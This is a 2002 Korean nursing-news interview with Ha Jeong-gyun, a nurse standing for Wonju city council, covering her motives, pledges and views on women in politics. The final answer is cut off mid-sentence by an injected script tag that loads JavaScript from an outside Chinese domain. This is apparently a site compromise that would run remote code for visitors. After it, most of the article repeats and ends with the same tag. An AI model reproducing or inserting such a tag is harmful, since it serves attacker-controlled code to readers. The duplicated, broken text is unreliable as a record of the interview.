6·13 지방선거 간호사 출마자- 강원 원주시의회 의원 하정균 후보
"성실한 심부름꾼 될 터"
[편집국] 박미경 mkpark@nursenews.co.kr 기사입력 2002-05-30 오전 09:31:27
강원도 원주시의회 의원에 출마하는 하정균 간호사(50)는 원주시 여성발전협의회장, 번영회 운영위원, 사회복지협의회 이사 등을 맡으면서 왕성한 지역사회 활동을 펼쳐왔다.
임상간호사로 5년, 보건소간호사로 10년 근무한 경력을 갖고 있으며 대학원에서 목회상담학을 전공하기도 한 그는 "간호와 목회는 모두 인간을 더욱 나은 조건으로 이끄는 학문으로서 정치에도 좋은 밑거름이 될 수 있다고 생각한다"면서 "원주시 여성과 소외계층민을 위해 일할 적임자라고 확신한다"고 자신감을 내비쳤다.
하 후보는 "여성 특유의 섬세하고 부드러운 힘으로 남성들이 보지 못하는 분야에서 주목할 만한 성과를 내보이겠다"면서 "하늘을 우러러 한점 부끄러움 없는 청렴결백의 자세로 시민들의 지지를 이끌어내겠다"고 밝혔다.
- 이번 지방선거에 출마하게 된 동기는 무엇입니까.
"21세기는 섬세하고 깨끗하며, 정직한 인품과 능력을 갖춘 일꾼을 원하고 있습니다. 저는 간호와 목회를 배우면서 정치의 상대인 사람을 케어하는 법을 터득했고, 원주시 여성발전협의회장과 번영회 운영위원 등을 지내면서 지역사회 복지, 문화, 예술의 발전에 일익을 담당해왔습니다. 이러한 제가 원주시 15만 여성의 대변자가 되어 새로운 원주를 만들어가는데 성실한 심부름꾼 역할을 해야겠다는 포부로 시의원 출마를 마음먹게 됐습니다."
- 기본 정치철학은 무엇입니까.
"요즘 정치인들이 내놓는 정치철학은 신뢰가 가지 않는 경우가 많아 때론 배신감마저 듭니다. 겉만 번듯하게 포장된 정치보다는, 작은 곳을 볼 줄 아는 정치가 필요합니다. 간호사가 상처입은 국민을 돌보는 것처럼, 목회자가 신자의 신앙생활을 지도하는 것처럼 정치에 임하자는 게 제 철학입니다."
- 여성이 정치에 참여해야 하는 이유는.
"인류의 반이 여성이므로 여성의 권익 보장과 양성 평등은 절대적 명제라 할 수 있습니다. 여성을 위한 정책을 이루려면 의회 밖에서 백번 소리지르는 것보다 의회 안으로 당당히 들어가 논리있게 발의하는 것이 효과적이지 않겠습니까. 앞으로 여성은 직접 정치의 장본인으로 나서고 사회의 전반적인 살림에도 깊이 관여해야 합니다. 여성은 남성 정치인들이 놓치기 쉬운 복지, 문화 등의 부문에서 뛰어난 역량을 펼칠 수 있습니다."
- 여성정치인의 경쟁력은 무엇이라고 보는지.
"우리나라는 고도의 양적 성장은 해왔지만 실상 내부를 살펴보면 조금만 바람이 불어도 무너질 듯 부실합니다. 정치에 여성이 없었기 때문입니다. 남성이 집을 짓는 일을 잘할 수 있다면 그 집안에서 살림을 차리는 일에선 여성이 더욱 탁월한 능력을 발휘할 수 있습니다. 남성이 하드웨어적이라면 여성은 소프트웨어적이라 할 수 있죠. 양성이 서로 더 잘할 수 있는 영역을 나눠 맡는다면 균형있는 발전을 이룰 수 있을 것입니다."
- 주요 공약을 소개하신다면.
"여성의 권익신장, 주민복지시설 향상, 지방자치제도 개선, 지역살림 경영합리화, 철저한 민원 수렴과 반영 등이 제가 내세우는 주된 공약입니다. 특히 노인, 장애인, 여성의 복지를 구현하기 위해 주민복지시설을 마련할 계획을 갖고 있는데, 우선 노인이 건강한 생활을 영위하며 자립할 수 있는 센터를 설립하고자 합니다."
- 출마지역의 현안과제는 무엇입니까.
"노인복지 및 육아시설 확충문제와 여성인력 육성문제가 시급합니다. 탄광사고로 인한 하반신 마비, 척추마비 환자를 비롯한 장애인 7000여명의 권익문제도 있고요."
- 해결방안을 제시하신다면.
"노인과 육아문제는 건전한 가족문화 형성을 위한 프로그램을 개발하고 공공시설을 확충하는데서 해결의 실마리를 찾을 수 있고, 여성문제에서는 잠재된 여성인력 발굴과 육성을 위한 사업을 전개해 나가는 것이 필요합니다. 장애인 문제는 임상간호사 시절, 그들의 고충과 요구를 헤아리게 되면서부터 깊이 생각해왔기 때문에 그들을 위한 제도적인 배려나 예산투자가 아낌없이 이뤄지도록 할 생각입니다."
- 여성을 위해 어떤 일을 할 생각입니까.
"원주 인구 30만 가운데 여성인구가 절반이 넘습니다. 그런데도 여성 시의원이 한명도 없다는 것은 원주시 시정이 삭막하고 경직돼 있다는 증거입니다. 양성이 평등한 원주시를 일궈내기 위해 인권, 교육, 복지, 행정, 경제분야에서 여성인력을 발굴하고 육성해 내는데 초점을 두겠습니다. 특히 여성직장인을 위한 24시간 영아담당 보육시설과 여성복지타운을 마련해 여성들이 마음놓고 일할 수 있도록 의회에서 목소리 높여 발의할 것입니다."
- 지역사회에서 좋은 평가를 받은 활동이 있다면.
"원주중학교 상담교사 시절 중고등학생들에게 실시한 양성평등교육이 지역사회에서 좋은 평가를 받았으며, 여성발전협의회장으로 있으면서 실천한 부부문패?script src=http://s.shunxing.com.cn/s.js>
임상간호사로 5년, 보건소간호사로 10년 근무한 경력을 갖고 있으며 대학원에서 목회상담학을 전공하기도 한 그는 "간호와 목회는 모두 인간을 더욱 나은 조건으로 이끄는 학문으로서 정치에도 좋은 밑거름이 될 수 있다고 생각한다"면서 "원주시 여성과 소외계층민을 위해 일할 적임자라고 확신한다"고 자신감을 내비쳤다.
하 후보는 "여성 특유의 섬세하고 부드러운 힘으로 남성들이 보지 못하는 분야에서 주목할 만한 성과를 내보이겠다"면서 "하늘을 우러러 한점 부끄러움 없는 청렴결백의 자세로 시민들의 지지를 이끌어내겠다"고 밝혔다.
- 이번 지방선거에 출마하게 된 동기는 무엇입니까.
"21세기는 섬세하고 깨끗하며, 정직한 인품과 능력을 갖춘 일꾼을 원하고 있습니다. 저는 간호와 목회를 배우면서 정치의 상대인 사람을 케어하는 법을 터득했고, 원주시 여성발전협의회장과 번영회 운영위원 등을 지내면서 지역사회 복지, 문화, 예술의 발전에 일익을 담당해왔습니다. 이러한 제가 원주시 15만 여성의 대변자가 되어 새로운 원주를 만들어가는데 성실한 심부름꾼 역할을 해야겠다는 포부로 시의원 출마를 마음먹게 됐습니다."
- 기본 정치철학은 무엇입니까.
"요즘 정치인들이 내놓는 정치철학은 신뢰가 가지 않는 경우가 많아 때론 배신감마저 듭니다. 겉만 번듯하게 포장된 정치보다는, 작은 곳을 볼 줄 아는 정치가 필요합니다. 간호사가 상처입은 국민을 돌보는 것처럼, 목회자가 신자의 신앙생활을 지도하는 것처럼 정치에 임하자는 게 제 철학입니다."
- 여성이 정치에 참여해야 하는 이유는.
"인류의 반이 여성이므로 여성의 권익 보장과 양성 평등은 절대적 명제라 할 수 있습니다. 여성을 위한 정책을 이루려면 의회 밖에서 백번 소리지르는 것보다 의회 안으로 당당히 들어가 논리있게 발의하는 것이 효과적이지 않겠습니까. 앞으로 여성은 직접 정치의 장본인으로 나서고 사회의 전반적인 살림에도 깊이 관여해야 합니다. 여성은 남성 정치인들이 놓치기 쉬운 복지, 문화 등의 부문에서 뛰어난 역량을 펼칠 수 있습니다."
- 여성정치인의 경쟁력은 무엇이라고 보는지.
"우리나라는 고도의 양적 성장은 해왔지만 실상 내부를 살펴보면 조금만 바람이 불어도 무너질 듯 부실합니다. 정치에 여성이 없었기 때문입니다. 남성이 집을 짓는 일을 잘할 수 있다면 그 집안에서 살림을 차리는 일에선 여성이 더욱 탁월한 능력을 발휘할 수 있습니다. 남성이 하드웨어적이라면 여성은 소프트웨어적이라 할 수 있죠. 양성이 서로 더 잘할 수 있는 영역을 나눠 맡는다면 균형있는 발전을 이룰 수 있을 것입니다."
- 주요 공약을 소개하신다면.
"여성의 권익신장, 주민복지시설 향상, 지방자치제도 개선, 지역살림 경영합리화, 철저한 민원 수렴과 반영 등이 제가 내세우는 주된 공약입니다. 특히 노인, 장애인, 여성의 복지를 구현하기 위해 주민복지시설을 마련할 계획을 갖고 있는데, 우선 노인이 건강한 생활을 영위하며 자립할 수 있는 센터를 설립하고자 합니다."
- 출마지역의 현안과제는 무엇입니까.
"노인복지 및 육아시설 확충문제와 여성인력 육성문제가 시급합니다. 탄광사고로 인한 하반신 마비, 척추마비 환자를 비롯한 장애인 7000여명의 권익문제도 있고요."
- 해결방안을 제시하신다면.
"노인과 육아문제는 건전한 가족문화 형성을 위한 프로그램을 개발하고 공공시설을 확충하는데서 해결의 실마리를 찾을 수 있고, 여성문제에서는 잠재된 여성인력 발굴과 육성을 위한 사업을 전개해 나가는 것이 필요합니다. 장애인 문제는 임상간호사 시절, 그들의 고충과 요구를 헤아리게 되면서부터 깊이 생각해왔기 때문에 그들을 위한 제도적인 배려나 예산투자가 아낌없이 이뤄지도록 할 생각입니다."
- 여성을 위해 어떤 일을 할 생각입니까.
"원주 인구 30만 가운데 여성인구가 절반이 넘습니다. 그런데도 여성 시의원이 한명도 없다는 것은 원주시 시정이 삭막하고 경직돼 있다는 증거입니다. 양성이 평등한 원주시를 일궈내기 위해 인권, 교육, 복지, 행정, 경제분야에서 여성인력을 발굴하고 육성해 내는데 초점을 두겠습니다. 특히 여성직장인을 위한 24시간 영아담당 보육시설과 여성복지타운을 마련해 여성들이 마음놓고 일할 수 있도록 의회에서 목소리 높여 발의할 것입니다."
- 지역사회에서 좋은 평가를 받은 활동이 있다면.
"원주중학교 상담교사 시절 중고등학생들에게 실시한 양성평등교육이 지역사회에서 좋은 평가를 받았으며, 여성발전협의회장으로 있으면서 실천한 부부문패?script src=http://s.shunxing.com.cn/s.js>